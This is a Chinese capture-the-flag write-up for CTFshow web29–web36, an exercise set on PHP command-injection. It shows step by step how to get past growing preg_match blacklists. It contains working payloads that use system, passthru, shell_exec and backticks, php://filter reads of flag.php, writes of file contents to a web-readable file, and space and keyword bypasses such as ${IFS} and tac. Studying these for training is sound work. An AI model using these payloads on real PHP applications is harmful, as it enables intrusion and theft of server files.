CTFshow 命令执行 web29~web36(正则匹配绕过)

目录

web29

方法一:include伪协议包含文件读取

方法二:写入文件

方法三:通识符

web30

方法一:filter伪协议文件包含读取

方法二:命令执行函数绕过

方法三:写入文件

web31

方法一:filter伪协议

方法二:空格及cat绕过

web32

方法一:filter伪协议

web33

web34

web35

web36


web29~36的考点主要是一些常见的正则表达式的绕过

web29

php 复制代码
if(!preg_match("/flag/i", $c))

分析代码,这是一个preg_match函数的绕过,i表示不区分大小写字母,即无论是大写的还是小写的'flag'字符都会被过滤掉。

方法一:include伪协议包含文件读取

首先查看有一些什么文件:

php 复制代码
?c=echo ''?><?php system('ls');

echo ''?>: 输出一个空字符串并结束 PHP 代码块。注意是两个单引号!!!

<?php system('ls'); 开始一个新的 PHP 代码块并执行 ls 命令,这会列出当前目录的文件。

可以看到当前目录下面有flag.php,我们可以采用include伪协议包含文件读取。

php 复制代码
?c=echo ''?><?php include"$_GET[url]";&url=php://filter/read=convert.base64-encode/resource=flag.php

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

通过get方式读入参数url,值得注意的是,echo后面的是两个单引号',而include后面的是双引号"。

执行,得到一串base64编码的内容

解码得到:

即为flag.php文件的内容,成功拿到flag。

方法二:写入文件

php 复制代码
?c=print_r(scandir("."));

print_r()函数,表示格式化输出括号内的内容

scandir(".") :这是一个 PHP 函数,用于扫描指定目录并返回该目录下的文件和子目录的数组。"." 表示当前目录

构造payload:

php 复制代码
?c=system('cat *php>>5.txt);

*php表示后缀为php,这里表示将后缀为php的文件全部写入5.txt中,然后我们去访问/5.txt,就可以看到flag.php index.php的内容全部写入到了5.txt文件当中了。

方法三:通识符

php 复制代码
?c=system('tac f*');

*是通识匹配符,会匹配所有f开头的文件名,这里会匹配到flag.php

web30

if(!preg_match("/flag|system|php/i", $c))

过滤了flag,system,php,不区分大小写字母

方法一:filter伪协议文件包含读取

php 复制代码
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

方法二:命令执行函数绕过

能实现命令执行的函数很多,system只是其中一个,但是system有输出的功能,但是其他的函数没有,可以配合使用echo等函数来使用。

system()

passthru()

exec()

shell_exec()

popen()

proc_open()

pcntl_exec()

反引号` 同shell_exec()

exec()函数默认只返回命令的最后一行输出,并且不会直接回显结果。它可以通过第二个参数获取所有输出,但如果不捕获输出并直接在页面上显示,就不会有回显。

print_r 是一个 PHP 函数,用于打印数组或对象的可读信息。它可以将数据结构的内容以易于理解的格式输出,适合用于调试。与 var_dump() 不同,print_r() 更加简洁,主要关注值而非类型。

例如:

php 复制代码
$array = [1, 2, 3];
print_r($array);
php 复制代码
//输出为:
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
)

shell_exec() 会返回命令的完整输出作为字符串,因此直接将其输出到页面时,会显示所有内容。

可以构造以下payload:

?c=passthru('tac f*');

?c=echo exec('tac f*', output); print_r(output);

?c=echo shell_exec('tac f*');

?c=$handle = popen('tac f*', 'r'); output = fread(handle, 2096); pclose($handle); echo $output;

?c=echo `tac f*`;

方法三:写入文件

由于system函数被过滤了,我们就用反引号来代替,将f开头的文件内容写入5.txt文件当中,访问5.txt文件即可得到flag

php 复制代码
?c=echo `tac f*>>5.txt`;

web31

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))

  • flag : 匹配字符串 flag
  • system : 匹配字符串 system(防止用户调用 system() 函数)。
  • php : 匹配字符串 php(防止执行 PHP 相关的命令)。
  • cat : 匹配字符串 cat(防止使用 cat 命令查看文件内容)。
  • sort : 匹配字符串 sort(防止使用 sort 命令)。
  • shell : 匹配字符串 shell(防止使用与 shell 相关的命令)。
  • \. : 匹配 .(防止用户使用文件路径,比如 ../)。
  • : 匹配空格(防止使用空格构造复杂命令)。
  • \' : 匹配单引号 '(防止输入包含单引号的内容)

可以看到这道题过滤了更多的字符,

方法一:filter伪协议

php 复制代码
?c=include"$_GET[url]"?>&url=php://filter/convert.base64-encode/resource=flag.php

可能会有小伙伴会好奇,为什么明明构造的payload里面明明有php和flag,但是却还是成功绕过了preg_match函数的过滤呢,这是因为我们的正则表达式匹配的是参数c的内容,但是参数c的内容为include"_GET[url]";,这里 $_GET['url'] 指向的是 php://filter/read=convert.base64-encode/resource=flag.php。由于正则表达式没有检测 $_GET['url'],所以 "flag""php" 并没有在正则中被捕获,因此绕过了限制。

方法二:空格及cat绕过

过滤了空格符,可以有以下几种方式绕过

%09 符号需要php环境

{cat,flag.txt}

cat${IFS}flag.txt

cat$IFS$9flag.txt

cat<flag.txt

cat<>flag.txt

kg='\\x20flag.txt'\&\&catkg

(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

cat被过滤:

more:一页一页的显示档案内容

less:与 more 类似

head:查看头几行

tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

tail:查看尾几行

nl:显示的时候,顺便输出行号

od:以二进制的方式读取档案内容

vi:一种编辑器,这个也可以查看

vim:一种编辑器,这个也可以查看

sort:可以查看

uniq:可以查看

file -f:报错出具体内容

可以构造payload

?c=echo%09`tac%09f*`;

?c=echo%09`tail%09f*`;

这道题感觉很奇怪,很多没有被过滤掉的都没有回显。

web32

php 复制代码
 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,',`,echo,;,(

感觉都要被过滤完了。

方法一:filter伪协议

哈哈哈哈这招屡试不爽,这次依旧能行

php 复制代码
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

但是他方法目前还没想到

web33

php 复制代码
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ 

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,在32题的基础上,增加了对双引号的过滤"

于是,我们可以改用数组来进行参数的绕过

php 复制代码
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34

php 复制代码
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,

加了一个冒号,对payload没什么影响,用33题的payload就可以做出来

php 复制代码
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

php 复制代码
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,<,=虽然又过滤了<和=符号,但是并没有过滤掉payload里面的关键符号,因此还是可以继续用这个payload

php 复制代码
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36

php 复制代码
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,<,=,/,数字0-9,我们把参数改成字母就绕过了

php 复制代码
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
相关推荐
Clockwiseee1 小时前
php伪协议
windows·安全·web安全·网络安全
xcLeigh2 小时前
网络安全 | 防火墙的工作原理及配置指南
安全·web安全
安全小王子3 小时前
Kali操作系统简单介绍
网络·web安全
光路科技4 小时前
八大网络安全策略:如何防范物联网(IoT)设备带来的安全风险
物联网·安全·web安全
网络安全Jack6 小时前
网络安全概论——身份认证
网络·数据库·web安全
网络安全King6 小时前
计算机网络基础(2):网络安全/ 网络通信介质
计算机网络·安全·web安全
黑客Jack7 小时前
网络安全加密
安全·web安全·php
西洼工作室8 小时前
【java 正则表达式 笔记】
java·笔记·正则表达式